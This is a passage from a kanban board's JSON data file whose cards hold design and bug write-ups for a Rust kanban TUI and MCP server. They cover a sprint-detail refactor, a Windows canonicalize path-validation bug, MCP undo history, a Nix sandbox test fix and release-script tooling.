steps 1–3, every key the main board's `CardListComponent` responds to now works in sprint detail too because both routes through the same component and the same `render_strategy.handle_key` path. Specifically:\n\n| Key | Sprint detail behaviour after refactor |\n|---|---|\n| `j`/`k` | Navigate selection (with scroll already wired) |\n| `h`/`l` | Switch panel index in Kanban view; no-op in Flat/Grouped |\n| `H`/`L` | Move card between *board* columns (status auto-syncs via KAN-394) |\n| `v`/`V`-lower | Single-select / select all |\n| `V`-upper | Open view-mode picker dialog |\n| `e` | Edit card |\n| `/` | Search |\n| `o`/`O` | Sort dialog / toggle order |\n| `n` | Create card |\n| `d` | Archive selected |\n| `Enter`/`Space` | Open card detail |\n\nSprint-specific keys (`a` activate sprint, `M` carry over, `C` sprint card prefix, etc.) remain intercepted by the sprint-detail handler before the component delegation.\n\n## Files modified\n\n| File | Change |\n|---|---|\n| `crates/kanban-tui/src/view_strategy.rs` | Introduce `ColumnPartition`. `ViewRefreshContext` gains `partitions: Vec<ColumnPartition>`. Layouts consume partitions instead of looking up `board.columns` directly. |\n| `crates/kanban-tui/src/layout_strategy.rs` | `ColumnListsLayout` / `VirtualUnifiedLayout` / `SingleListLayout` rebuilt from partitions. `build_query` becomes a helper that yields a partition. |\n| `crates/kanban-tui/src/app/sprint_view.rs` | Replace dual `CardList` + `CardListComponent` fields with `view_strategy: Box<dyn ViewStrategy>` + `original_columns: HashMap<Uuid, Uuid>`. `panel: SprintTaskPanel` becomes `partition_index: usize`. `sync_scroll` is gone (strategy handles it). |\n| `crates/kanban-tui/src/app/mod.rs` | `prepare_frame` builds the sprint-detail strategy when in `AppMode::SprintDetail`. `populate_sprint_task_lists` and `apply_sort_to_sprint_lists` are deleted (subsumed by the strategy refresh). `partition_sprint_cards` no longer used here. |\n| `crates/kanban-tui/src/ui/sprint_detail.rs` | `render_sprint_detail_with_tasks` calls the strategy's render. `render_sprint_task_panel_with_selection` deleted. Title-suffix logic for the focused-partition original-column label lives here. |\n| `crates/kanban-tui/src/handlers/detail_view_handlers.rs` | Sprint-specific intercepts stay; everything else delegates to strategy. `c` toggle hooks `original_columns` for the round-trip behaviour. h/l swaps the partition index. |\n| `crates/kanban-tui/tests/sprint_detail_card_list_tests.rs` | Existing 5 tests update to the new state shape. Add: view-mode-toggle test, original-column-label test, original-column-roundtrip test, search-filter-propagation test, H/L card-move test. |\n\n## Reuse — already in place\n\n- `kanban_domain::CardQueryBuilder` for filter+sort (phase 1 already plumbed this in for populate)\n- `UnifiedViewStrategy::flat() / ::grouped() / ::kanban()`, `SinglePanelRenderer`, `MultiPanelRenderer`\n- `render_card_list_item` (handles truncation already)\n- `CardListComponent::handle_key` (full action set), `ensure_selected_visible`\n- KAN-394 service-layer auto-sync for status ↔ column on the un-complete round-trip\n\n## Verification\n\n```bash\ncargo test --workspace\ncargo clippy --workspace --all-targets -- -D warnings\ncargo fmt --check\n```\n\nNew tests in `crates/kanban-tui/tests/sprint_detail_card_list_tests.rs`:\n\n1. `test_sprint_detail_kanban_view_renders_two_panels`\n2. `test_sprint_detail_grouped_view_renders_single_list_with_status_headers`\n3. `test_sprint_detail_flat_view_renders_single_list_no_partition`\n4. `test_sprint_detail_focused_panel_title_shows_selected_card_original_column`\n5. `test_sprint_detail_completed_panel_title_has_no_extra_label`\n6. `test_sprint_detail_uncomplete_returns_card_to_original_column`\n7. `test_sprint_detail_uncomplete_falls_back_to_kan_394_for_pre_existing_completed_cards`\n8. `test_sprint_detail_search_filter_propagates_to_panels`\n9. `test_sprint_detail_capital_l_moves_card_right_between_board_columns`\n10. `test_sprint_detail_scroll_preserved_after_view_mode_switch`\n\nManual smoke (`kanban ~/notes/memes/kanban.json`):\n\n1. Enter sprint detail. Press uppercase `V` to open view picker. Pick Flat — sprint cards collapse into one list. Pick Grouped — section headers appear. Pick Kanban — two panels return.\n2. In Kanban view: select a card in Uncompleted. Panel title shows \" → <column-name>\". Press `H` — card moves left between board columns; auto-syncs status if it leaves the completion column.\n3. In Kanban view: `c` on Uncompleted card → moves to Completed panel (and to completion column on the underlying board). `c` again → returns to the column it came from (not the second-to-last fallback).\n4. Press `/`, type a query — both panels filter (in Kanban) or the single list filters (Flat/Grouped).\n\n## Commit strategy — additive, layered\n\nAiming to keep each commit independently green so bisect stays useful:\n\n1. **`refactor(tui): introduce ColumnPartition; main-board path unchanged`** — internal refactor of view-strategy/layout-strategy to accept partitions. Main board's adapter computes from `board.columns` (no behaviour change). Existing tests stay green.\n2. **`feat(tui): sprint detail builds its own ColumnPartitions`** — sprint-detail adapter; remove `populate_sprint_task_lists` and friends. Sprint detail still renders via bespoke path (next commit).\n3. **`refactor(tui): sprint detail delegates rendering to ViewStrategy`** — delete bespoke render; route through main-board renderer. Scrolling, action set, view modes all gained.\n4. **`feat(tui): focused-panel title shows selected card original column`** — render-time enrichment of the title.\n5. **`feat(tui): original-column tracking on un-complete in sprint detail`** — `original_columns` map + `c`-handler hook.\n6. **`feat(tui): prepare_frame propagates search filter to sprint detail`** — every-frame strategy rebuild when in `SprintDetail` mode.\n7. **`test(tui): expand sprint-detail coverage for view modes, label, round-trip, search, H/L`** — the 10 new tests above.\n8. **`chore: update KAN-435 changeset for phase 2`** — replace phase-1 wording with the full story.\n\n## Risk\n\nHigh. This is the largest single TUI refactor in this card line — view-strategy abstraction touches every render path. Mitigations:\n\n- Step 1 keeps main board behaviour byte-identical; verify by running existing tests untouched.\n- Steps 2–3 are scoped to sprint detail; main board can't regress because its adapter is unchanged.\n- Step 7 adds explicit regression tests for every claimed feature.\n\nIf steps 1–3 turn out to require a much bigger rewrite than estimated, fall back to: keep the bespoke sprint-detail render but add view-mode switching as a separate `SprintViewState` field, accept the duplication. That's a structurally weaker outcome but ships the user-visible features without the deep refactor.\n\n## Out of scope (file as separate cards if needed)\n\n- Per-panel independent view mode (Uncompleted in Flat while Completed in Grouped). Today's plan shares one view mode across both panels in Kanban; if independent modes turn out to matter, file separately.\n- Persisting `original_columns` across sessions. In-memory map suffices for the common workflow.\n- Card-position memory inside the column (returning to a *specific position* in the original column, not just the column itself). Today the card lands at the column's append position.",
        "due_date": null,
        "id": "26b740aa-b5d7-4a71-8b56-cd22b314e3e7",
        "points": 1,
        "position": 182,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:25:47.767081947Z",
            "status": "Active"
          }
        ],
        "status": "Todo",
        "title": "Scrolling in the card lists of sprint details",
        "updated_at": "2026-05-14T10:57:05.237251340Z"
      },
      {
        "card_number": 445,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-13T23:04:21.997580929Z",
        "description": "Origin: surfaced in PR #255 conversation as \"It's related to the changes from #249, in that it breaks my ability to launch kanban with a file I've just created, at least on Windows.\" Independent of #255 itself — separate bug, separate fix.\n\n## Summary\n\nPR #249 introduced kanban-service/src/path.rs::validate_path, which is now called from kanban-cli/src/app.rs before opening the data file. On Windows, validate_path rejects valid in-cwd paths whenever the target file actually exists, with the misleading error \"Path traversal not allowed\".\n\n## Offending code (crates/kanban-service/src/path.rs, lines 22-35)\n\n    if path.is_absolute() {\n        Ok(path.canonicalize().unwrap_or_else(|_| path.to_path_buf()))\n    } else {\n        let resolved = cwd.join(path);\n        let canonical = resolved\n            .canonicalize()\n            .unwrap_or_else(|_| normalize_path(&resolved));\n        if !canonical.starts_with(cwd) {\n            return Err(KanbanError::validation(format!(\n                \"Path traversal not allowed: '{}' resolves outside current directory\",\n                path.display()\n            )));\n        }\n        Ok(canonical)\n    }\n\n## Root cause\n\nstd::fs::canonicalize on Windows always returns a UNC long-path: \\\\?\\C:\\Users\\foo\\kanban.json. This is a long-standing Rust stdlib quirk; the stdlib docs explicitly warn about it, and the `dunce` crate exists solely to strip the prefix.\n\nstd::env::current_dir() returns a non-UNC path: C:\\Users\\foo.\n\nOn the relative-path branch:\n\n    cwd       = C:\\Users\\foo\\proj\n    canonical = \\\\?\\C:\\Users\\foo\\proj\\kanban.json\n    canonical.starts_with(cwd) -> false\n\nPath::starts_with is component-based, and the UNC prefix introduces an extra \\\\?\\ component. The traversal check rejects the path even though it resolves to a file literally inside cwd. The user sees \"Path traversal not allowed: 'kanban.json' resolves outside current directory\" — a false positive.\n\n## Why only \"file I just created\" triggers it\n\ncanonicalize requires the target to exist. When the file does not exist yet, the unwrap_or_else fallback to normalize_path runs, which produces a non-UNC path; starts_with succeeds and the call returns OK.\n\nSo the reproduction is sensitive to whether the file was created before launch:\n\n    kanban kanban.json     (file doesn't exist) -> works (creates new, no UNC produced)\n    New-Item kanban.json\n    kanban kanban.json     (file now exists)    -> \"Path traversal not allowed\"\n\nThe absolute-path branch (line 23) is also affected but in a different way: canonicalize succeeds, the UNC-prefixed PathBuf is returned, and the prefix leaks downstream to whichever store opens the file. Whether that breaks depends on the downstream consumer's tolerance for UNC paths; in practice many Windows APIs handle both, so this branch may be silently fine — but it is still wrong-shaped.\n\n## Why CI did not catch it\n\n- .github/workflows/ci.yml runs only on ubuntu-latest. No Windows job. On Linux/macOS canonicalize does not UNC-prefix, so the bug is invisible to CI.\n- The unit test test_validate_path_relative_within_cwd_returns_resolved uses Path::new(\"some/nested/file.json\") inside a fresh TempDir — the file does not exist, so the test hits the normalize_path fallback, not the canonicalize branch. Same on every OS.\n- test_validate_path_absolute_passes_through uses dir.path().join(\"file.json\") which also does not exist. Same fallback.\n\nThere is literally zero coverage of \"the file exists\" on the canonicalize branch.\n\n## Suggested fixes (three options)\n\n1. Use `dunce::canonicalize` instead of Path::canonicalize. The dunce crate is ~150 LOC, single-purpose, and returns \\\\?\\C:\\... -> C:\\.... Drop-in:\n\n       let canonical = dunce::canonicalize(&resolved).unwrap_or_else(|_| normalize_path(&resolved));\n\n   Apply on both the absolute-path and relative-path branches. This is the conventional Rust answer for this exact bug.\n\n2. Strip the prefix manually on Windows, no new dep:\n\n       fn strip_unc(p: PathBuf) -> PathBuf {\n           #[cfg(windows)] {\n               if let Some(s) = p.to_str().and_then(|s| s.strip_prefix(r\"\\\\?\\\")) {\n                   return PathBuf::from(s);\n               }\n           }\n           p\n       }\n\n   Wrap both canonicalize calls.\n\n3. Canonicalize both sides before comparing. Canonicalize cwd too on the relative-path branch; both have UNC, starts_with works. Does not address the absolute-path branch leaking UNC downstream.\n\nOption 1 is the cleanest and matches what the rest of the Rust ecosystem does.\n\n## Tests to add (regardless of fix shape)\n\n- test_validate_path_relative_within_cwd_existing_file_returns_resolved — create the file inside TempDir before calling validate_path_with_cwd. Currently this would panic on Windows (and only Windows) due to the bug. With the fix it should pass everywhere.\n- test_validate_path_absolute_existing_file_returns_non_unc — same idea for the absolute branch.\n- Add a Windows job to CI (or at minimum a cargo test --target x86_64-pc-windows-msvc cross-check in a separate matrix entry) so this class of bug is caught next time.\n\n## Severity\n\nHigh-ish. It is a hard \"I can't open my data\" failure for Windows users who pre-create their kanban file. Workaround is to delete the file and let kanban (re)create it, which only works if the file is empty.\n",
        "due_date": null,
        "id": "9adc4dd2-b9cd-4984-8272-2a7169ed70ad",
        "points": null,
        "position": 183,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "bug(service): validate_path rejects existing files on Windows (canonicalize UNC prefix)",
        "updated_at": "2026-05-14T10:57:05.237251799Z"
      },
      {
        "card_number": 390,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-04T01:44:20.840602323Z",
        "description": "## Problem\n\nEvery call to `mutating_op!` in `kanban-mcp/src/lib.rs` begins with\n`guard.reload()`, which fully discards the in-memory cache and resets undo\nhistory to the current on-disk state. This means `tool_undo` can only ever\nundo the single operation from the **current** tool call — it cannot reach\nback to undo an operation performed in a previous API call within the same\nsession.\n\n## Root cause\n\n`KanbanContext::reload()` is the only way to pick up external file changes, but\nit also wipes the command log and resets `undo_cursor` to 0. Since `mutating_op!`\nalways reloads (defensively, to pick up any external edits), it always destroys\nhistory.\n\n## Proposed fix: `KanbanBackend::reload_if_changed()`\n\nAdd a method to the `KanbanBackend` trait:\n\n```rust\n/// Reload only if the backing file has changed since the last save.\n/// Returns `true` if a reload was performed (history cleared),\n/// `false` if the file is unchanged and history was preserved.\nasync fn reload_if_changed(&self) -> KanbanResult<bool> {\n    Ok(false) // default: write-through backends never need a reload\n}\n```\n\n### Detection strategy\n\n`JsonDataStore` already tracks `FileMetadata` (mtime + size via\n`last_known_metadata: Mutex<Option<FileMetadata>>` in `JsonFileStore`). Compare\nthe on-disk metadata with the last-known metadata:\n\n```rust\nasync fn reload_if_changed(&self) -> KanbanResult<bool> {\n    let on_disk = FileMetadata::from_file(self.file_store.path())?;\n    let last = self.file_store.last_known_metadata(); // new accessor\n    if Some(on_disk) != last {\n        self.reload().await?;\n        Ok(true)\n    } else {\n        Ok(false)\n    }\n}\n```\n\nA secondary check can compare `instance_id` from the file envelope against\n`self.file_store.instance_id()` to detect writes by other processes even if\nmtime resolution is coarse (e.g. FAT32, 2-second granularity).\n\n### `mutating_op!` change\n\n```rust\nmacro_rules! mutating_op {\n    ($ctx:expr, $method:ident $(, $arg:expr)*) => {{\n        async {\n            let mut guard = $ctx.lock().await;\n            guard.reload_if_changed().await.map_err(kanban_err_to_mcp)?;\n            let result = guard.$method($($arg),*).map_err(kanban_err_to_mcp)?;\n            guard.save().await.map_err(kanban_err_to_mcp)?;\n            Ok::<_, McpError>(result)\n        }\n        .await\n    }};\n}\n```\n\n### `KanbanContext` surface\n\n```rust\npub async fn reload_if_changed(&mut self) -> KanbanResult<bool> {\n    if self.backend.reload_if_changed().await? {\n        // Full reload happened — reinitialise undo state.\n        self.baseline_snapshot = None;\n        self.undo_cursor = 0;\n        self.command_count = 0;\n        self.dirty = false;\n        let baseline = self.backend.snapshot()?;\n        self.backend.truncate_commands_after(0)?;\n        self.baseline_snapshot = Some(baseline);\n        self.notify_undo_state()?;\n        Ok(true)\n    } else {\n        Ok(false)\n    }\n}\n```\n\n## Motivation / user-visible impact\n\nWithout this fix, an MCP client that calls `tool_create_board` followed\nimmediately by `tool_undo` gets the board back — **but** if it calls\n`tool_create_board` and then `tool_create_column` and then `tool_undo`, the\nundo only removes the column, leaving the board. A second `tool_undo` returns\n`false` (nothing to undo) because the reload at the start of `tool_create_column`\nwiped the board-creation from history.\n\nWith `reload_if_changed`, history accumulates across calls as long as no\nexternal process modifies the file between calls (the common case for a single\nLLM session). This makes multi-step undo work naturally.\n\n## Files to change\n\n- `crates/kanban-service/src/backend.rs` — add `reload_if_changed` to trait\n- `crates/kanban-service/src/json_backend.rs` — implement it using `FileMetadata`\n- `crates/kanban-service/src/context.rs` — add `KanbanContext::reload_if_changed`\n- `crates/kanban-persistence/src/conflict.rs` — add `last_known_metadata` accessor to `JsonFileStore` (or expose via `PersistenceStore` trait)\n- `crates/kanban-mcp/src/lib.rs` — switch `mutating_op!` to call `reload_if_changed`\n- `crates/kanban-mcp/tests/integration.rs` — update/add tests for multi-step undo\n\n## Test plan\n\n1. `test_mcp_reload_if_changed_preserves_history_across_calls` — call two\n   mutations without any external file change; verify `tool_undo` can undo\n   both in sequence.\n2. `test_mcp_reload_if_changed_clears_history_on_external_write` — call a\n   mutation, externally overwrite the file, call another mutation; verify\n   history does NOT include the pre-overwrite operation (safety).\n3. `test_reload_if_changed_returns_false_when_file_unchanged` — unit test on\n   `JsonDataStore` directly.",
        "due_date": null,
        "id": "161716af-33f0-4f08-a6ab-6f2b87d80ebe",
        "points": 2,
        "position": 184,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806938192Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "MCP Cannot Perform Undo",
        "updated_at": "2026-05-07T21:58:57.806938498Z"
      },
      {
        "card_number": 449,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-14T02:29:47.894356833Z",
        "description": "Follow-up to PR #267 (KAN-445) — `test_apply_config_edit_with_non_default_content_writes_config` at `crates/kanban-tui/tests/settings_ui_tests.rs:357` reintroduces the nixpkgs sandbox failure class that KAN-396 closed for the other `apply_config_edit` tests. Discovered during the post-merge audit of the 0.5.0 release (PR #251).\n\n## Where\n\n`crates/kanban-tui/tests/settings_ui_tests.rs:357-368`\n\n## Failure mode\n\nThe test builds a DTO from `AppConfig::default()`. `AppConfigDto::from_config` populates `configuration_location` via `effective_configuration_location(entity)`, which falls back to `config_path()` → `dirs::config_dir().join(\"kanban/config.toml\")` when the entity's `configuration_location` is `None`.\n\nIn a Nix build sandbox `$HOME` is a non-writable stub (typically `/homeless-shelter`), so `config::save`'s `create_dir_all` returns `EACCES`, `apply_config_edit` returns `Err`, and `assert!(result.is_ok())` panics.\n\nSame shape as the [2026-05-07 nixpkgs-update log](https://nixpkgs-update-logs.nix-community.org/kanban/2026-05-07.log) that KAN-396 fixed for the five tests in `settings_config_edit_tests.rs`.\n\n## Fix\n\nPin `app.app_config.configuration_location` to a `tempfile::tempdir()` path **before** building the DTO, so `effective_configuration_location` returns the tempdir path instead of the OS config dir.\n\n```rust\nlet dir = tempfile::tempdir().unwrap();\nlet config_path = dir.path().join(\"config.toml\");\nlet mut app = App::test_default();\napp.app_config = kanban_core::AppConfig {\n    default_card_prefix: Some(\"feat\".into()),\n    configuration_location: Some(config_path.to_string_lossy().into_owned()),\n    ..Default::default()\n};\n```\n\n## Verification\n\nReproduced the failure end-to-end on the dev machine by running the **pre-fix** test binary with `env -u XDG_CONFIG_HOME HOME=/var/empty` (forces `dirs::config_dir()` to resolve to an unwritable path, simulating the Nix sandbox).\n\n- Pre-fix binary: **FAILED** at `settings_ui_tests.rs:367:5` (the `assert!(result.is_ok())` line).\n- Post-fix binary, same environment: **PASSED**.\n\n## Status\n\n- PR #269 against `develop` (branch `KAN-449/make-apply-config-edit-test-sandbox-safe`). Replaces closed PR #268 (renamed branch to follow naming convention).\n- Two commits: the test fix + a changeset.\n\n## Latent risk NOT addressed in this card\n\nTwo other tests in `settings_config_edit_tests.rs` (the `_ = app.apply_config_edit(...)` pattern at lines 274 and 294) currently pass on Nix only by accident — `save()` fails early, `self.app_config` is never updated, and the assertions hold for the wrong reason. They are not panicking today, so they ride along. The durable fix is to make `config::save()` return an explicit error when `configuration_location` is unset, rather than silently falling back to `dirs::config_dir()`. That is a production-code change, separate card if/when it comes up.\n\n## Acceptance\n\n- PR #269 merged into `develop`.\n- The fix is verified by running the test binary with `env -u XDG_CONFIG_HOME HOME=/var/empty`.\n- The next nixpkgs-update bump survives without hitting this failure class.",
        "due_date": null,
        "id": "69918467-09bc-4d57-a6fe-d50632f7e2d7",
        "points": null,
        "position": 184,
        "priority": "High",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Todo",
        "title": "Make apply_config_edit non-default-content test sandbox-safe",
        "updated_at": "2026-05-14T10:57:05.237252149Z"
      },
      {
        "card_number": 394,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": null,
        "created_at": "2026-05-04T21:17:06.109506890Z",
        "description": "## Issue\n\nWhen an MCP agent sets a card's status to 'done', the card is marked complete but remains in its current column. It is not automatically moved to the board's completion column.\n\nThis creates a three-step manual workaround in the TUI:\n1. Open the TUI\n2. Navigate to the card\n3. Move it to the Complete column manually\n\nAdditionally, pressing 'c' in the TUI on an already-completed card does not move it — it unmarks it as complete instead.\n\n## Observed (2026-05-05) — inverse direction also broken\n\nMoving a card to the last column via MCP (tool_move_card) does NOT set the card's status to 'done' or populate completed_at. The completion column has no special meaning to the MCP layer — it treats it as an ordinary column move.\n\nThis confirms the bug is bidirectional: the status field and column position are not kept in sync in either direction by the MCP server.\n\n## Expected behaviour\n\nWhen a card's status is set to 'done' (via MCP or TUI), it should be automatically moved to the board's designated completion column (if one is configured). Conversely, when a card is moved to the completion column (via MCP or TUI), its status should be set to 'done' and completed_at populated. 'c' in the TUI should move a done card to the completion column, not toggle completion off.\n\n## Suggested fix\n\n- MCP move_card: after moving, check if destination is completion_column_id; if so, call the same lifecycle hook that sets status=done and completed_at\n- MCP update_card status=done: after updating, move card to completion_column_id if set\n- TUI 'c': on an already-done card in a non-completion column, move it to completion column rather than unmarking it\n- Root fix: see card 324 — remove CardStatus entirely and derive completion state solely from column position\n\n---\n\n# Implementation discussion (2026-05-11)\n\n## What was implemented (branch `KAN-394/bug-marking-card-done-via-mcp-...`)\n\nAuto-sync of the status ↔ completion-column invariant baked into the **domain command layer**:\n\n**Files changed (382 lines added, 1 removed):**\n- `crates/kanban-domain/src/card_lifecycle.rs` — two new pure helpers:\n  - `target_column_for_status(card, new_status, board, columns, cards) -> Option<(Uuid, i32)>`\n  - `target_status_for_column_move(card, new_column_id, board, columns) -> Option<CardStatus>`\n- `crates/kanban-domain/src/commands/card_commands.rs` — auto-sync wired into `UpdateCard::execute` and `MoveCard::execute`; 6 inline unit tests + a `CompletionFixture` helper\n- `crates/kanban-mcp/tests/integration.rs` — 3 end-to-end MCP integration tests\n- `.changeset/kan-394-mcp-sync-card-status-with-completion-column.md` — patch bump\n\n**Behaviour:**\n- `UpdateCard { status: Done }` (no column_id) → auto-moves card to `Board::resolve_completion_column` (which falls back to the last column when `completion_column_id` is unset), sets `completed_at`\n- `UpdateCard { status: Todo }` on a card in the completion column (no column_id) → moves to second-to-last column, clears `completed_at`\n- `MoveCard` to the completion column → sets `status=Done`, populates `completed_at`\n- `MoveCard` away from the completion column on a Done card → sets `status=Todo`, clears `completed_at`\n- When the caller passes **both** `column_id` and `status` (e.g. the TUI's atomic toggle), explicit caller intent wins; auto-sync is bypassed\n\n**Verification:**\n- 6 new unit tests in `card_commands.rs::tests` — all green\n- 3 new MCP integration tests (`mcp_update_card_status_to_done_moves_to_completion_column`, `mcp_move_card_to_completion_column_sets_status_done`, `mcp_move_card_away_from_completion_column_clears_done_status`) — all green\n- Full workspace test suite green (no regressions in TUI h/l/c handlers)\n- `cargo clippy --workspace --all-targets -- -D warnings` clean\n- `cargo fmt --check` clean\n\n## Open design questions raised in review (not yet committed)\n\n### Q1. Is the TUI now doing redundant work?\n\nThe TUI `toggle_card_completion` (in `crates/kanban-tui/src/handlers/card_handlers.rs`) still pre-computes target column + status via `compute_completion_toggle`, then issues `UpdateCard` with **both** fields populated. The auto-sync's \"respects_both\" branch lets these pass through untouched, so the TUI is unaffected — but the pre-computation is now duplicate work relative to a simplified TUI that just sends `status: Some(Done)`.\n\n**Trade-off:**\n- Simplified TUI = less code, single source of truth\n- But TUI already has board/columns/cards in `Model`; the domain auto-sync re-queries the store (3 extra reads per op)\n\n**Decision (tentative):** leave TUI as-is; file a separate \"simplify TUI completion handlers\" follow-up if pursued. Per CLAUDE.md \"a bug fix doesn't need surrounding cleanup.\"\n\n### Q2. Is auto-sync the right default? Should it be configurable?\n\nThe \"last column = completion\" assumption was already baked into the codebase via:\n- `Board::resolve_completion_column` falling back to last column\n- TUI 'c' key, h/l with completion-column transitions\n- `Card::update_status` setting `completed_at`\n\nThe change makes that pre-existing opinion **consistent** across entry points rather than introducing a new one — but it does so on *any* status/column change, not just on user gestures in the TUI. A user setting `status=Done` programmatically (CLI, MCP) without intending a column move would be surprised.\n\n**Real concern:** some workflows treat \"Done\" column as a stage (e.g. \"Done by dev, awaiting review\") rather than a completion gate. Auto-syncing forces a stronger semantic than those users want.\n\n**Proposed config knob (deferred):**\n- `Board.auto_sync_completion: bool` (default true), or\n- App-level `AppConfig.completion_sync_mode: { Strict | Suggest | Off }`\n\n**Decision (tentative):** ship default-on behaviour to fix the filed bug; file a follow-up card for configurability if real demand emerges.\n\n### Q3. Would chained commands be a cleaner architecture?\n\nYes — and likely the right long-term design. Instead of baking the side-effect into `UpdateCard::execute()`, the cleaner pattern is to compose at the service layer:\n\n```rust\n// In KanbanContext::update_card or a command-builder helper\nlet mut cmds = vec![UpdateCard { status: Done, .. }];\nif board.auto_sync_completion {\n    if let Some((col, pos)) = target_column_for_status(...) {\n        cmds.push(MoveCard { card_id, column_id: col, new_position: pos });\n    }\n}\nself.execute(cmds)?;  // already executes batches as a single undo unit\n```\n\n**Benefits:**\n- Each command stays single-purpose (SRP — the principle CLAUDE.md cites)\n- Auto-sync is observable in the command log (better for debugging and the eventual cross-client undo work in KAN-409/410)\n- Config gates the chain at one place, not deep inside each command\n- Undo already works on batches, so atomicity is preserved\n- The pure helpers (`target_column_for_status`, `target_status_for_column_move`) remain reusable regardless of where they are called\n\n**Cost:**\n- Composition logic moves to a higher layer (service or a builder helper)\n- Two call sites need to opt into the chain (UpdateCard path + MoveCard path)\n\n**Decision (pending):** the current branch implements the in-command approach. A refactor to chained commands at the service layer (`KanbanContext::update_card` and `KanbanContext::move_card`) is feasible without throwing away the work: keep the pure helpers, move the orchestration up. The unit tests on the commands would migrate to service-layer integration tests; the MCP integration tests stay valid since they test end-to-end behaviour.\n\n## Status\n\n- **Branch:** `KAN-394/bug-marking-card-done-via-mcp-does-not-move-it-to-the-completion-column`\n- **Tests passing:** yes (workspace-wide)\n- **Not yet committed:** working tree changes pending decision on Q3 (chained-commands refactor or ship as-is)\n- **Out of scope for this card:** Q2 config knob, Q1 TUI simplification, `MoveCards` batch path, TUI 'c' edge case for legacy-data Done-not-in-completion-column state",
        "due_date": null,
        "id": "ab7cfd7d-5dd8-4840-9371-f2d7732fbe0a",
        "points": null,
        "position": 185,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806908436Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "bug: marking card done via MCP does not move it to the completion column",
        "updated_at": "2026-05-14T10:57:05.237252659Z"
      },
      {
        "card_number": 392,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-05-04T03:03:26.576267668Z",
        "description": "# Evaluate replacing custom release shell scripts with off-the-shelf tooling\n\nThis card defers and tracks the \"should we replace `bump-version.sh` + `aggregate-changelog.sh` + `publish-crates.sh` + `validate-release.sh` with an off-the-shelf release tool\" decision, surfaced during PR #208 review. The spike under [validate-release.sh staleness card] (sibling card) addresses the immediate symptom; this card addresses the underlying maintenance burden.\n\n## Origin\n\nPR #208 review surfaced that `scripts/validate-release.sh` and `scripts/publish-crates.sh` carry duplicate hand-curated 9-entry crate lists — and one had silently fallen out of sync (validate-release missed `kanban-service`, `kanban-persistence-json`, `kanban-persistence-sqlite`). The hardcoded list was the visible symptom; the deeper question is whether maintaining ~400 lines of bespoke release shell across 4 scripts still earns its keep when off-the-shelf tools cover most of the same ground.\n\nThe user's framing: *\"can't we make it dynamic instead of a hardcoded list?\"* — answer: yes, via `cargo metadata` topo-sort, but that's a 15-line patch on top of a 400-line surface that has other rough edges (dependency-order coupling, idempotency, partial-publish recovery, etc.). Worth evaluating the bigger move.\n\n## Summary verdict (preliminary)\n\nThree options to consider, ordered by migration cost:\n\n1. **Stay with custom scripts but make the crate list dynamic** (smallest change — ~15 lines of `cargo metadata | jq | tsort` shell, adopt as immediate follow-up).\n2. **Migrate to `cargo-workspaces`** (mid-size — replaces 3 of 4 scripts, keeps `aggregate-changelog.sh` or pairs with git-cliff; preserves the changesets workflow contributors already use).\n3. **Migrate to `release-plz`** (largest — replaces all 4 scripts, switches commit convention to Conventional Commits, switches release model from on-merge to release-PR).\n\nRecommendation: **start with option 1 immediately** to fix the duplication that bit us in PR #208, then **spike option 2 on a branch** to see what release.yml shrinks to. Park option 3 as a longer-term consideration — its workflow shape (release PRs, Conventional Commits) is a bigger ergonomic shift for contributors.\n\n---\n\n## Current state — what we'd be replacing\n\n**4 scripts, ~400 lines of bash, wired into `.github/workflows/release.yml`:**\n\n```\nPR merged to master\n  ↓\nrelease.yml step 5: bump-version.sh        — reads .changeset/*.md, bumps Cargo.toml + path-dep ^X.Y\nrelease.yml step 6: aggregate-changelog.sh — writes CHANGELOG.md, deletes .changeset/*.md\nrelease.yml step 7: git commit             — \"chore: release vX.Y.Z\"\nrelease.yml step 8: validate-release.sh    — dry-run check (currently with --no-verify, see sibling card)\nrelease.yml step 9: git push master\nrelease.yml step 10: publish-crates.sh     — 9 crates, topo-ordered, 10s pacing, skip-if-published\nrelease.yml step 11: git tag v$VERSION + push\nrelease.yml step 12: softprops/action-gh-release  — creates GitHub Release (triggers aur-publish.yml)\nrelease.yml step 13: git merge master → develop  — sync-back\n```\n\n**Changeset format** (`.changeset/*.md`):\n```markdown\n---\nbump: minor\n---\n\n- feat(domain): WipLimitExceeded error variant\n- test(domain): add failing WIP enforcement tests\n- ...\n```\nSingle frontmatter field (`bump: major|minor|patch`). Bump-version.sh aggregates max-level across all changesets. Aggregate-changelog.sh formats the body into CHANGELOG.md with PR link, then deletes the file.\n\n**Coupling between scripts:**\n- bump-version → aggregate-changelog (latter reads versions written by former)\n- aggregate-changelog → publish-crates (former deletes changesets so re-runs of latter don't think there's pending work)\n- publish-crates calls validate-release internally before any cargo publish\n- All four assume they run in `release.yml`'s exact order; none are individually idempotent except validate-release\n\n**Things that DON'T live in any of the 4 scripts but are still part of the release surface:**\n- The changeset *creation* tool (`nix 